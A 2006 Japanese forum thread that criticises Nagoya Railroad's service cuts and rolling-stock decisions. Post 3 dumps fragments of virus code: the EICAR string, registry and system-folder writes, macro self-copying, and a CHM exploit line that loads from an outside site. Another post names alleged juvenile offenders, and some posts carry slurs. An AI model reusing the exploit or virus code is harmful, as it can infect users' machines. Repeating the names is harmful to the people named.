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名鉄オワタ\(^o^)/【名古屋鉄道アンチスレ】part2

1 :名無し野電車区:2006/10/08(日) 13:33:18 ID:SztIt9Bd
         ,. -‐'''''""¨¨¨ヽ
         (.___,,,... -ァァフ|       あ…ありのまま 今 起こっている事を話すぜ!
          |i i|    }! }} //|
         |l、{   j} /,,ィ//|       『パノラマスーパーまでが消える』
        i|:!ヾ、_ノ/ u {:}//ヘ        
        |リ u' }  ,ノ _,!V,ハ |
       /´fト、_{ル{,ィ'eラ , タ人       な… 何を言ってるのか わからねーと思うが
     /'   ヾ|宀| {´,)⌒`/ |<ヽトiゝ      おれも何の事かかわからなかった…
    ,゙  / )ヽ iLレ  u' | | ヾlトハ〉
     |/_/  ハ !ニ⊇ '/:}  V:::::ヽ      頭がどうにかなりそうだった…
    // 二二二7'T'' /u' __ /:::::::/`ヽ
   /'´r ー---ァ‐゙T´ '"´ /::::/-‐  \    ピーチライナー廃止だとか倒壊がオール転換クロスになったとか
   / //   广¨´  /'   /:::::/´ ̄`ヽ ⌒ヽ      そんなチャチなもんじゃあ 断じてねえ
  ノ ' /  ノ:::::`ー-、___/::::://       ヽ  }
_/`丶 /:::::::::::::::::::::::::: ̄`ー-{:::...       イ     もっと恐ろしいものの片鱗を味わったぜ…

前スレ…名鉄もうだめぽ【名古屋鉄道アンチスレ】
http://hobby7.2ch.net/test/read.cgi/rail/1152197232/

2 :名無し野電車区:2006/10/08(日) 13:40:19 ID:Q+z+e+5+
名古屋〜豊橋移動に名鉄使う奴はキモヲタ!
http://hobby7.2ch.net/test/read.cgi/rail/1160231581/
【μ】名古屋鉄道70号車【ポイ捨て私鉄 名鉄】
http://hobby7.2ch.net/test/read.cgi/rail/1159538593/


3 :はい終了:2006/10/08(日) 14:21:14 ID:7HREBsVg
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
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ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
"avgnt"="\"C:\\Program Files\\AntiVir PersonalEdition Classic\\avgnt.exe\" /min /nosplash"
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub


4 :名無し野電車区:2006/10/08(日) 15:43:13 ID:smBwe8YM
倒壊はダイヤ改正後、熱田で寝ていた117系を米原〜大垣を中心コキ使うようになった。
117より若いパノラマスーパーを平気でポイ捨てしようとする名鉄は倒壊を少しは見習え!と思いますた(-_-#)

5 :名無し野電車区:2006/10/08(日) 16:11:53 ID:SaYeH27G
             .| 連休厨の>>1
     , - 、_.'⌒ヽ.   | r‐┐r‐、ァァ r‐┐r‐┐ ┌‐u‐┐ー‐、 /1
   ., -       ノ   | |  | | ヽ. . | ||  |_ [  _  ] `ー'.ノ |
  (  、ー--j‐i'     | |_.ノ|..ノ  |_ノ |_.ノ└‐リ__ノ | ̄  .ノ @
   (   / Q Ql    | ._   _____ _n_  ̄ n    ̄ ̄
   .__ゝて __>    | |.|  └―, , ┘ニコ lニニ, lニニ .ニニl
  (   ( \ノノ    / .|.|  n  //   ^コ lニ^  (0 |
  `て ヽ. i'._     ̄|  、ー'ノ  ゙、`‐┐(o_,ヘ.〉  、ソ  ◎
   .'⌒i.、! ノ7lヽ   |   ̄     ̄
   l   l|ヽ'ヽ'|| l   r'て_
   |  |  ̄ ̄〉! /`r-='

6 :名無し野電車区:2006/10/09(月) 06:56:34 ID:3b25dqUc
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7 :名無し野電車区:2006/10/09(月) 12:52:44 ID:b/bUEQ2F
>>6
同意。名鉄は終了したも同様

8 :名無し野電車区:2006/10/09(月) 13:09:42 ID:2dieJR67
名鉄終了

9 :名無し野電車区:2006/10/09(月) 15:38:33 ID:bilF0nzA
犯珍電車が半球に喰われて1世紀の歴史を閉じたけど、μの運命はいかに?

1.中国地方の某私鉄に喰われる(600Vで相当抵抗したからなぁ)
2.有利子負債か社債などがデフォルトして、運行停止に追い込まれる
3.金利も払えなくなり、倒壊へ身売り
4.不採算線区・600V線区リストラ成功で増収増益へ、結果的に倒壊へ宣戦布告することができる

http://chubu.yomiuri.co.jp/news_k/ckei060329_4.htm
まぁ、上記記事通りに再建できれば、運行停止だけは避ける事ができるかなと

まぁ、公表されている事実だけでも大手私鉄はヤバイ材料山の様にあるし、
おとうさん、第1号は何処か?という賭けがあっても不思議でない

10 :名無し野電車区:2006/10/09(月) 18:21:51 ID:AmbK3jQd
>>3
迷鉄厨房は必死でつね。プ

11 :名無し野電車区:2006/10/09(月) 18:26:10 ID:65vxVrrK
名鉄 衰退への道

2007年 東海道線に完敗で名古屋本線の本数削減
2008年 度重なる赤字で蒲郡線、広見線(新可児〜御嵩)廃止
2009年 武豊線の輸送力増強で河和線の利用者大幅に減少
      パノラマカー全廃でヲタからも見放される
2010年 名古屋高速東海線開通で空港線の利用者減少
      昼間の一部特別車は廃止に

12 :名無し野電車区:2006/10/09(月) 18:29:59 ID:65vxVrrK
2007年 JR名古屋〜豊橋通勤・通学割引定期導入
    JR往復割引きっぷの範囲が二川から浜松まで拡大
    瀬戸線ワンマン化で日常的に通勤時間帯の遅延が発生
    それによりマイカー利用者増加
特別車減少でμ定期ユーザーから苦情殺到。名鉄離れが進む
2011年 高山線にキハ75投入で各務原線の利用者が減少
    太多線にキハ75投入で中央線経由名古屋までの直通列車新設
    可児〜名古屋間往復割引切符新設
2012年 利用者減少により各務原線(三柿野〜名鉄岐阜)廃止
    JR笠松駅新設で名鉄笠松駅の乗客減少
2013年 名古屋本線(一宮〜岐阜)、竹鼻・羽島線乗客減少で廃止
    日本福祉大学移転で知多新線全線廃止
2014年 名古屋〜瀬戸市間直通快速新設
    瀬戸線の利用者減少で昼間時間帯の三郷〜尾張瀬戸間は30分ヘッドに

13 :名無し野電車区:2006/10/09(月) 18:33:40 ID:65vxVrrK
2006年末 乗りヲタ追放を目的に定期券・回数券以外全ての企画券を全廃
2010年西尾線、犬山モノレール全廃。
同年猿投〜梅坪、トヨタ市〜知立〜刈谷廃止、
刈谷〜碧南は第三セクター「碧海鉄道」に、
トヨタ市〜上小田井は第三セクター「トヨタ鉄道」になる。
2011年田県神社〜平安通が第三セクター「小牧鉄道」になる。
同年犬山〜田県神社廃止。
2013年河和〜知多武豊廃止、線名も河和線→半田線に。
2015年尾西線、築港線全廃。
2017年一宮〜国府宮、国府〜豊橋廃止。

残るのは三柿野〜犬山〜中部空港、国府宮〜枇杷島分岐、神宮〜豊川稲荷、
太田川〜知多武豊、犬山〜新可児、須ケ口〜津島の6区間。

14 :名無し野電車区:2006/10/09(月) 19:55:42 ID:Yef4OF18
>>1


15 :名無し野電車区:2006/10/09(月) 20:21:48 ID:4HaRpVhm
前スレ>>891
>何のために名鉄が粗悪品の新車を大量導入するのか?
>車種統一による保守の手間を省くことや消費電力を低減させる、なにより低コストで大量生産
>表向きはバリアフリーだ何だとほざいてるが、本音はコレだろう。
↑の説明に納得。

塗装費もケチって、ステン一般車量産、特急車は2000と2200のみ?
車種を限定統一させる事で保守も簡素化は、団塊の工員の退職による技術低下防止?

車両更新は、ちょっと前までJR西日本が113や103を新車並みに更新工事したけど、税制上のメリットも無く頓挫した問題もあるのだろうか?
資産税がなんとか・・・知識が乏しくてすまない・・・


16 :名無し野電車区:2006/10/09(月) 20:39:25 ID:Ckvv12n2
>>15
塗装費をケチッてステンレス化。この点に関して是非一度見ていただきたいのが
現在AGUIにUPされてる銀電6両の画像。
美しい銀色ボディーのはずがサビで真っ赤になってる。(※素材そのものがサビてる訳じゃない)
SUSは確かに耐久性もよく、便利な素材かもしれないが、決してメンテをケチってもいいって訳じゃない
鋼製車はその気になれば塗装で誤魔化しがきくが、SUSはそういう訳にはいかない。
洗車もろくに出来ないのに、最近は白色塗装やステンむき出しなど茨の道を突き進む名鉄…

17 :名無し野電車区:2006/10/09(月) 20:50:43 ID:bilF0nzA
>>16
白は維持コスト滅茶苦茶高いぞ〜(汚い・情けない姿で運用するなら別だけどね)

近鉄はアーバンで懲りているから、他の形式へ波及させていない
養老線の車両を赤1色に戻したのも、影ではコスト意識が動いたかと

18 :名無し野電車区:2006/10/09(月) 21:11:32 ID:UPT+h/KT
赤は色褪せしやすいので塗り直しコストがかかるのではないか?
むしろ青・緑の方が色褪せしにくいので経費節減にならないか?

19 :名無し野電車区:2006/10/09(月) 21:15:53 ID:un0QE0Ed
JRもほとんどステンレスじゃない?

20 :名無し野電車区:2006/10/09(月) 21:45:57 ID:4HaRpVhm
>>16
なるほど・・・

>鋼製車はその気になれば塗装で誤魔化しがきくが・・・
以前阪急のスレで、最近の車両の雨樋部?に白色の帯が付いたけど(個人的には見た目はマズーw)、
あれも雨樋部?の塗装が落ちやすいから白色に塗ったというレスをみたけど・・・


21 :名無し野電車区:2006/10/10(火) 00:15:42 ID:AoWQ07P+
ステンレスで製造すると車体の値段が高くならないか?

22 :名無し野電車区:2006/10/10(火) 02:02:30 ID:935of+Qh
イニシャルコストが高くなってもペンキ代で回収できる。

23 :名無し野電車区:2006/10/10(火) 02:19:43 ID:quyW+pCc
>>18
そこでライトパープルですよ。

24 :名無し野電車区:2006/10/10(火) 02:31:34 ID:H4EHCZv5
>>22

鉄道車両や航空機の塗料はカンペやニッペとかの普通のペンキではなく、外国のヘキストかどこかの空気抵抗などを極力抑えた特殊塗料らしいな

25 :名無し野電車区:2006/10/10(火) 03:10:49 ID:xOTN7cVR
JRが名古屋地区のお客様には前面の展望がよい車両が必要
とか言い出したら全て終わる。

26 :名無し野電車区:2006/10/10(火) 06:40:17 ID:PUPSU8q0
>>25
つ 211-5000、311、313、キハ75
全て貫通型だけど何気に前面展望の良さにも気を使ってる
特に211-5000。211-0と比較して窓が拡大されてる。前面展望を意識してることの証明だろうね

27 :名無し野電車区:2006/10/10(火) 12:48:33 ID:21gPjkFo
名鉄オワタ\(^o^)/

293 名前:名無し野電車区 :2006/10/01(日) 11:40:19 ID:e/auXH19
豊橋発の名鉄特急、ガラガラです。特別車は0。
一般車も1両当たり一桁。

JRは増車したにもかかわらず、すし詰めで発車していきます。

28 :名無し野電車区:2006/10/10(火) 19:13:34 ID:8t6KRMPZ










28








29 :名無し野電車区:2006/10/10(火) 20:40:08 ID:Aeh0dAo0
ホンキで心配だぞ名鉄。
確かにJRはいつ乗っても混んでるな。
ラッシュアワーの平日にサンサンSUNで乗ったが、19時だというのに、
名鉄岐阜からの特急窓側があくほどしか乗ってなかったぞ。
さすがに名古屋からは立ち客がいたけど、JRが経由しない駅で大量に降りていった。
確か神宮前の次あたり。

30 :名無し野電車区:2006/10/10(火) 21:42:00 ID:PUPSU8q0
少し前に完走した本スレ70号車より興味深い書き込みをチョイス

592 名前:名無し野電車区[sage] 投稿日:2006/10/04(水) 12:46:56 ID:tIl78FET
>>548
鎌谷と三河荻原も「駅舎整備に金出せば残す」って名鉄から打診があったが
三河荻原駅のある吉良町は金がないので断念したが、鎌谷駅のある西尾市は
過去に三河線寺津高架橋の件があって「金を出せば残す」という名鉄の言葉に
疑心暗鬼となり、結局出せなかった。
名鉄の打診に疑いを持ったもう一つの理由は、市長、市議会議長、地元県議が
揃って陳情に言った際に、名鉄は社長、副社長ではなく専務が応対したことに
不信感を抱いたようだ。

名鉄ってこういう企業だっけ?
なんかやたら利用者に対して高圧的に思えるのだけど…

31 :名無し野電車区:2006/10/10(火) 22:04:52 ID:0MrQW6Gj
>>30
その>>592のレスは名鉄オタには不都合だから(印象が悪くなる)スルーされてるのがワロタwww
否定する事もないから、聞きたくないのかねww
名鉄オタ:(゚д゚∩)<ア-ア-きこえなーい


32 :名無し野電車区:2006/10/10(火) 22:13:06 ID:+oEUMiss
駅を廃止する。ということを半年前に発表してそれで済ませようというのが
もはや利用者を馬鹿にしているよ

普通自分の利用している駅が半年後に廃止となれば怒りたくもならないか?
怒る人が少なければ発表が遅くてもいいのか??
廃止する事が正当なら数年前から説明会なり報道発表なりすればいいんだよ。
反対恐れて堂々と出来ないなら廃止するなよ。

>>30
「金を出せば残す」という名鉄の言葉に疑心暗鬼

役所もアフォだよ。金出す際に契約書を取ればいいんだよ
向こう20年間は廃止しない。向こう10年間は現状と同じ本数以上を停車させる。
(○時代○本以上・・○時代○本)と細かく列挙する

普通の企業ならこういうの当たり前。不誠実企業名鉄を信用しすぎた市がアフォ

33 :名無し野電車区:2006/10/10(火) 22:19:36 ID:GOWMSVtO
山陽電鉄より輸送密度低いと聞いたことがあるんだが・・・

34 :名無し野電車区:2006/10/10(火) 22:44:07 ID:KCxOMRmW
名鉄がちゃんと駅を整備しないから、寂れる。普通駅前は発展するのに、駅のないところのほうが栄えてるところが多いし

35 :名無し野電車区:2006/10/11(水) 01:41:49 ID:yX+PHx/J
>>31
西尾〜吉良吉田までの所要時間が短縮できるでいいと思っていそう。

36 :名無し野電車区:2006/10/11(水) 04:10:34 ID:GvCABUeB
>>26
確かに。211-5000は地味だけどJRにしてはかなり前面展望がいい車両。
ただ、東海地区以外でも213系などが走っているので名鉄というわけではなさそう。

そこで383系のパノラマ先頭車のような車両が普通車として連結されだしたら名鉄終了。

37 :名無し野電車区:2006/10/11(水) 08:09:04 ID:CZ10V5Ab
小田急に吸収合併してまえ

38 :名無し野電車区:2006/10/11(水) 12:04:55 ID:qjg+LuZB
今日は名鉄グダグタダだね
信号故障に人身事故…

39 :名無し野電車区:2006/10/11(水) 14:46:52 ID:2ZF+Zxbb
>>32
疑心暗鬼になったのは「金を出せば残すのか」ということではなく
「これが本当に公共交通を担う会社の姿勢か」ということ。
信用してないから疑心暗鬼が生じたわけ。
ことの経緯は西尾市議会のやりとりからも見て取れる。
ttp://www.city.nishio.aichi.jp/kaforuda/24gikai/dayori79/index.html

しかし「名鉄西尾線は、矢作川鉄橋が老朽化した時には、三河線と同じように矢作川以南は
廃線になるのではないかと懸念されていますが、その心配はありませんか。」という質問まで
してるのにはワロタw。米津以南で廃線かよ。


40 :名無し野電車区:2006/10/11(水) 15:00:04 ID:qCY6xQ7a
名古屋のプロスポーツ球団に例えると……… [JR東海] 中日ドラゴンズ [名鉄] 名古屋グランパス いつまで経っても追いつき、追い越せない。

41 :名無し野電車区:2006/10/12(木) 00:07:25 ID:2MaFkovE
名鉄なんか破産して小田急に吸収されてしまえ!

42 :名無し野電車区:2006/10/12(木) 00:08:18 ID:2MaFkovE
馬鹿社長

43 :名無し野電車区:2006/10/12(木) 01:05:34 ID:MnXSZ9oY
>>40
もっと広範囲で [JR東海]阪神、中日、浦和レッズ[迷鉄]虚塵、
ヴェルディだろ

44 :名無し野電車区:2006/10/12(木) 01:53:49 ID:WLx6cFaZ
地域に愛されなくなった企業ということか。もうおしまいかな。

45 :名無し野電車区:2006/10/12(木) 06:50:10 ID:zbnvuIlK
>>44
企業が地元民を愛してないんだから仕方が無い
路線廃止、駅廃止はもちろん、昨日のように事故、設備・車両故障などで乱れるダイヤ…
地域から見捨てられるのも時間の問題じゃない?

46 :名無し野電車区:2006/10/12(木) 14:32:53 ID:+1rI7gQb
今後、名鉄沿線は不動産価格が暴落するでしょうね
いずれ犬山線でも30分に1本、各駅停車しか
走らなくなる時代がやってくるのでしょうね

47 :名無し野電車区:2006/10/12(木) 22:19:36 ID:7ZMjcu02
上ゲ

48 :名無し野電車区:2006/10/12(木) 22:59:20 ID:diUIgbzB
>>46
今後、名鉄沿線の不動産暴落を見切って犬山線の戸建を売って、

小田急のドコモーレ栗平とか五馬力田の新築一戸建てに引越すひとが

続出するだろう。

それでもいいのか名鉄社長?


49 :名無し野電車区:2006/10/13(金) 21:41:46 ID:ylVF97Wl
漏れ、今の名鉄の重要施策になってるものも含めて、名鉄が発表する前に同じことを考えていて、電車の中で友人に言ったりしていた。
それを名鉄の人間が聞いていたのか?分からないが、偶然の一致が多すぎて、今まで、もしや?と思ってきた。

今もアイデアを持っているが、ネコババされるのが嫌なので、現在は決して公の場では口にしていない。特に名鉄には絶対に言わない。

50 :名無し野電車区:2006/10/13(金) 22:06:20 ID:mOLDGzQx
トヨタに吸収?

51 :名無し野電車区:2006/10/13(金) 22:06:55 ID:agDddbLo
>>49
単なる偶然だろ。


つか、このスレと犬山線スレは社員が妄想のフリして
秘密ばらしてないか?

52 :名無し野電車区:2006/10/14(土) 00:02:01 ID:39wvJf+S
内部情報もれとらっせるがね

53 :49:2006/10/14(土) 11:16:17 ID:nmH5k5Lk
名鉄が実際に発表するor実施する前に既に漏れが考えていて、電車内で話していた事柄(どうでもいいものを含む)

・駅集中管理システム
・車体傾斜装置(ただし、特許自体は住金が既に取得)
・2200系一般車のようなロング・転換クロス交互配置のシート
・乗降促進ベル・メロディを車両側から鳴らす(地下鉄では昔から行われてたらしいが)
・客室内の電鈴のネジを締めて、静音化
・消毒用薬剤の銘柄変更(バルサンは高い、と勝手に思っていた)

54 :名無し野電車区:2006/10/14(土) 13:28:30 ID:NDgU8FRa
>>53
お前が考えたんじゃなくて
既に他の鉄道会社が採用してるだけ
馬鹿かお前は

車体傾斜装置など20年以上前のしなのにもあるじゃねーか
しかも2200系のような方式は昔から他の私鉄に存在する

まあ、自意識過剰ってこったなw

55 :名無し野電車区:2006/10/14(土) 13:48:37 ID:NsYOzgcy
バリアフリーなんてどうでもいいと思ってる本スレの奴ら痛すぎw

56 :49:2006/10/14(土) 14:26:20 ID:nmH5k5Lk
>>54
>車体傾斜装置など20年以上前のしなのにもあるじゃねーか
振り子、ではなく車体傾斜装置。空気バネの圧力調整による方式。この方式は比較的新しいはず。(特許を持ってるのは住金だが)

>しかも2200系のような方式は昔から他の私鉄に存在する
車端部ロング、中央部クロスなら他にあるのを知っているが、漏れの言ってるのはドアから入って左右片方がロング、もう片方がクロスとなる方式。
昔の他の私鉄の例を知らないので、ソースを出してくれ。

57 :名無し野電車区:2006/10/14(土) 19:52:23 ID:NDgU8FRa
>>56
あのさ
技術屋じゃないから平気でそんな超絶ぶっ飛び妄想が出来るんだろうが
君がしゃべったくらいで簡単にどうこうなる問題じゃないぜ
開発期間って考えたことはあるかい?
あと対費用効果などもあるし

最後の2行は何時でも実施できるだろうが

58 :名無し野電車区:2006/10/14(土) 20:08:47 ID:NDgU8FRa
どれくらい妄想が吹っ飛んでいるか

水は電気分解して動力に採用すればクリーンなエネルギーになるよな?
と喋ったあと、水素自動車が発表

ああ、俺の話を聞いてトヨタぱくりやがった
と言ってるのと同レベル

59 :名無し野電車区:2006/10/14(土) 20:23:42 ID:es8Vtxcb
ワロスw朝鮮人かw

60 :名無し野電車区:2006/10/14(土) 20:31:54 ID:H28ZWi+9
初代パノラマカー全廃、パノラマスーパーも削減へ 名鉄
http://www.asahi.com/national/update/1014/NGY200610140009.html

もうねw なに考えてるんだかw 名鉄の顔はパノラマなのに
パノスパをJRが飯田線や身延線特急用に買い取ったらどうだw

61 :名無し野電車区:2006/10/14(土) 20:43:41 ID:8MaKmrAR
「平成18年度設備投資計画」
http://www.meitetsu.co.jp/ICSFiles/afieldfile/2006/07/13/setsubi06.pdf




62 :名無し野電車区:2006/10/14(土) 20:54:35 ID:ZjQbPSeX
>>60
2週間ほど前に公式で発表された内容と比較するとかなりアグレッシブな書き方になってるね
リンク先の「同社は先頭の展望車部分に階段があり、バリアフリーの観点から今の時代には合わない」とある。
このボケどもに聞きたいが、つい最近新製されたE231DD(※今後も製造予定)はなんなんだよ
思いっきり階段があるじゃねぇか

以下の内容は本線向け1200系後継車(現状未定だが)の存在が明らかになるまで控えるつもりでいたが…

単純にこの社長は「名鉄色の強い車両」を一掃して「俺色」に染めたい。独裁者気取りでいるじゃねぇのか?

63 :49:2006/10/14(土) 21:11:26 ID:nmH5k5Lk
>>57 >>58
まあ、信じてもらえなくて当然だし、大名鉄相手ではどうにもならない。
2chでちょっと愚痴らせてもらったよ。

64 :名無し野電車区:2006/10/14(土) 21:12:01 ID:qQf3w0A/
>>62

「俺色」って色なんてねーじゃんw

65 :名無し野電車区:2006/10/14(土) 21:50:47 ID:6/mAMse4
昔の名鉄は、

「我が社の営業範囲は車社会。だから車に負けないクオリティ
 の車両とダイヤで、お客様が乗りたくなる鉄道を目指します」

と言って、パノラマカーや急行車を整備したのにねぇ。今や

「みんな乗らないな。サービスカット、車両も安物、路線も廃止」

これじゃ益々誰も乗らなくなるよ。地域住民が悪いのか、経営者
が悪いのか、両方とも悪いのか。

66 :名無し野電車区:2006/10/14(土) 21:52:57 ID:Xi8a3wlc
一般席特急って2200系みたいな奴?
ここの社長は名古屋気質が解ってないようだな



67 :名無し野電車区:2006/10/15(日) 00:00:00 ID:Qs2b+y8g
倒壊が一番名古屋気質を解っているよね
今までのあの放置っぷりは何だったんだ…

68 :名無し野電車区:2006/10/15(日) 00:06:41 ID:7WJFosxp
>>67
社長が変わったのが一番大きいんじゃない?
確か交代直後に今回の313大量増備が発表されたはず

69 :名無し野電車区:2006/10/15(日) 03:48:30 ID:4kckNiea
7000の老朽化は仕方ないにしてもあんな新車で置き換えるってのは正気か?
その矢先1000の廃車宣言するし…

かつて不利ながらも新快速に立ち向かったのが展望席でありパノラマカーだったのにパノラマカー追放してどうするつもりだ?
このままじゃ立ち向かうどころか自滅するぞ



真面目に新しいパノラマカー作れ
小田急を見習え……と言うべきなのかどうかは知らんが……

70 :名無し野電車区:2006/10/15(日) 09:16:21 ID:Av0/pqsg
本刷れよりこっちのほうが何故読みやすいのか
この傾向が全てを物語っている

71 :名無し野電車区:2006/10/15(日) 09:17:44 ID:vabqJ3u/
外国資本に株を買い占められてに買収されるだろ?

72 :名無し野電車区:2006/10/15(日) 10:06:12 ID:J4gXejwD
結局のところ本線・犬山線・常滑線問わず一特は全て2200で統一すれば、
何かあってもすぐに他線から持って来やすいだろうし、座席指定も共通化できる。
増結車両も1800のような専用車両を持たず、3100と3150共通運用で
普通から快特までこなしてしまえば楽。
相互連結可能車両増加に伴って車種共通化をすすめ予備車両を減らし
全体の車両保有数も削減。
と言うことだろう。

乗客増加が見込めない以上、収入減以上に経費削減一辺倒になる。

73 :名無し野電車区:2006/10/15(日) 10:35:01 ID:UsfOuI6O
パノラマDXは団体用に1編成保管して置けば良かったのに。

74 :名無し野電車区:2006/10/15(日) 11:18:03 ID:Yk3q5GmB
名鉄の新車ってなんでカーテンがないの?
まぶしすぎてかなわん。

75 :名無し野電車区:2006/10/15(日) 11:52:54 ID:7WJFosxp
>>74
単純にコストダウンの為。
以前話題になったが、眩しさに耐えかねて車内で日傘を差したなんて逸話もある。
UVカットしながらコストもカットしたいのだろうが、実際眩しさまではカットできない。

JR313系はUVカット複層ガラス+カーテンと万全の体制だ

76 :名無し野電車区:2006/10/15(日) 12:12:31 ID:h53ggDPV
乗れるだけ、幸せに思えよ。


           名古屋鉄道

77 :名無し野電車区:2006/10/15(日) 13:18:25 ID:0MnTCgck
名鉄の社長や車両設計関係者って電車乗らないのか?
サンシェードがない意味が解らないようだ。

普段の移動に自動車利用なら運転席や助手席は日除けないからな
UVカットで充分って思っちゃうんだろうか?

2200系増備だったら客離れが加速する、絶対

78 :名無し野電車区:2006/10/15(日) 14:00:04 ID:0MnTCgck
7000系パノラマも、かつては特急列車だった
1000・1200系に座を譲るも急行や普通運用で乗客サービス
運賃だけで白帯車のシートに座れた。

だから7000系パノ廃車の代わりに1000系1600系を急行や普通運用に
入れればいいじゃないか?
指定料金なしで利用できるなら乗客居るぞ
ロングばかりの一般車は不要

79 :名無し野電車区:2006/10/15(日) 14:14:08 ID:7WJFosxp
>>78
気持ちはわからんでもないが、流石にそれは厳しいでしょ
7000系はデッキ無しだからあそこまで生き延びることができた。
1000系等を改造無しにそのまま普通運用などさせたらかえって足手まといになる

80 :名無し野電車区:2006/10/15(日) 16:19:40 ID:gI/bHZkD
ロング多くするのは、減車も狙いなの?

81 :名無し野電車区:2006/10/15(日) 17:50:51 ID:n1pOZKO2
>>60
車両を整理する前に、会社組織や役員の整理をしたらどうだ?

もちろん鉄道業廃業に向けてね。

常滑線と空港線をJRに売りつければ社員の退職金ぐらい作れるやろ!


82 :名無し野電車区:2006/10/15(日) 17:57:20 ID:R3yELqS6
>>81
そんな事したら株主が代表訴訟起こしちゃうよ。

83 :名無し野電車区:2006/10/15(日) 21:15:57 ID:J4gXejwD
>>78
7000は特急用として作られているとはいえ、そもそも特急料金が存在していない
時代につくられたもの。
乗車券のみで乗降することを前提にしているため混雑を考慮して
ドア横はロングシート、ドア自体も片開きとはいえ広くデッキもない。

84 :名無し野電車区:2006/10/16(月) 06:46:32 ID:Yr+a6i7U
本スレのカオスっぷりに噴いた
暗殺とか物騒な書き込みもあるし…しかし、あまり笑えないのも事実

85 :名無し野電車区:2006/10/16(月) 10:36:02 ID:FoNgp5no












86 :名無し野電車区:2006/10/16(月) 10:50:23 ID:FoNgp5no
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87 :名無し野電車区:2006/10/16(月) 10:58:17 ID:RorXkLAT
正直、2200系の「半分クロス、半分ロング」って中途半端なんだな〜。

扉間はクロスシート、車端部ロング(313系1000番代みたいな)の方がいいような・・・。

88 :名無し野電車区:2006/10/16(月) 11:02:10 ID:Cfjp6ak9
多客時に対応するための苦肉の策だろ

89 :名無し野電車区:2006/10/16(月) 11:04:52 ID:oiz2tgB2
そもそも名鉄に今後、多客時はあるのか・・・

90 :名無し野電車区:2006/10/16(月) 11:21:58 ID:M9E6E/6b
初詣や国府宮・田県神社あたりの祭り時?

91 :名無し野電車区:2006/10/16(月) 11:27:39 ID:7KDBDg5M
田県神社の木彫りのような顔の先頭電車がほしい。

92 :名無し野電車区:2006/10/16(月) 11:36:32 ID:pG7Wn1UY
犬山・常滑・豊田線はJRに移管、その他は第三セクター化又は廃止で名鉄解散

93 :名無し野電車区:2006/10/16(月) 12:19:42 ID:RorXkLAT
>>87
それなら、4両のうち1両オールロングとかした方がいい。

94 :名無し野電車区:2006/10/16(月) 18:21:01 ID:YqE28rTt
相鉄みたいにか?

95 :名無し野電車区:2006/10/16(月) 22:54:22 ID:Aoc6DBY8
>>91
すでに名鉄には「マラ電」と「まむこ特急」があるじゃないかw

96 :名無し野電車区:2006/10/17(火) 01:38:38 ID:fNefrfN+
やっぱり近鉄にカネ払ってL/Cでも導入したらどうかね?!

97 :名無し野電車区:2006/10/17(火) 06:50:25 ID:r12K9suq
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98 :名無し野電車区:2006/10/17(火) 09:29:24 ID:OBgR4DfR
>>96
それいいね〜。やってほしいな〜。

99 :名無し野電車区:2006/10/17(火) 15:06:18 ID:8Q0gDWwG
本線・・・近鉄に払い下げ
常滑線・犬山線・広見線・・・JR東海に払い下げ
その他・・・第3センターか廃止

100 :名無し野電車区:2006/10/17(火) 16:06:38 ID:97S8Z/Z1
100 GET

101 :名無し野電車区:2006/10/17(火) 16:49:59 ID:Vc0wnCv5
「第3センター」ってなんだ?

102 :名無し野電車区:2006/10/17(火) 17:27:31 ID:BZj9NVs0
>>79
 尾西線・広見線・河和線・知多新線の末端や豊川線で使えば良いんじゃない?
>>89
 減車する分混雑するという事なのでは・・・。

 まあいずれにしても2200系の一般車は車内アコモが酷いのでここまで反発を
買っているんだよな。せめてカーテンぐらいつけてほしいものだが・・・。

103 :名無し野電車区:2006/10/17(火) 20:12:30 ID:8qkPms3j
>>75
そもそも原因は、全て超赤字路線である小牧線(300系)のせい
こんな路線さっさと廃線に汁!!

104 :名無し野電車区:2006/10/18(水) 20:36:10 ID:cLIkQUNQ
【福岡いじめ事件7少年】
岸本和来、谷岡正義、黒澤翔太、青森天、川宮進木柳晋太郎、紀伊島涼

【東海地区汚物7兄弟】倒壊313-300・211-5000@静シス・119、名古屋市交通局3000・5000、名鉄3300系列、遠鉄モハ30

105 :名無し野電車区:2006/10/18(水) 20:48:30 ID:iXdP/C+J
>>103
オマヘは10万人以上もの小牧市民を敵に回したなwwww

106 :名無し野電車区:2006/10/18(水) 22:11:35 ID:rXlEo69I
【OS】Windows Vistaのライセンス体系が変更,マニアに厳しいものに[06.10.18]
ttp://news18.2ch.net/test/read.cgi/bizplus/1161135206/l50
59 :名刺は切らしておりまして :2006/10/18(水) 11:14:23 ID:8LGgDbQE
>>14
創業者の追放
法律屋と財務屋の取り仕切り
制作チームへの追い込み&続々とチーフクラスの幹部の退社
消費者無視の暴走

ディズニーと同じ道を辿っている気が


なぁ…名鉄は大丈夫ですか?

107 :名無し野電車区:2006/10/18(水) 23:15:42 ID:WOpnBo2B
多分大丈夫じゃないと思う。

108 :名無し野電車区:2006/10/18(水) 23:29:34 ID:Q8tNvt1W
>>105
>オマヘは10万人以上もの小牧市民を敵に回したなwwww

小牧市民(いや村民だったな)なんか10万に以上もイネェーヨwwwwwwwwwww!!!
むしろ毎年減少方向だぜwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww

殆んどが自殺や殺人等の不可抗力での死亡が多いわwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww

109 :名無し野電車区:2006/10/18(水) 23:33:02 ID:xqXZph98
>>103
愛知三大寺社仏閣への参詣電車を無くすとわ!!w

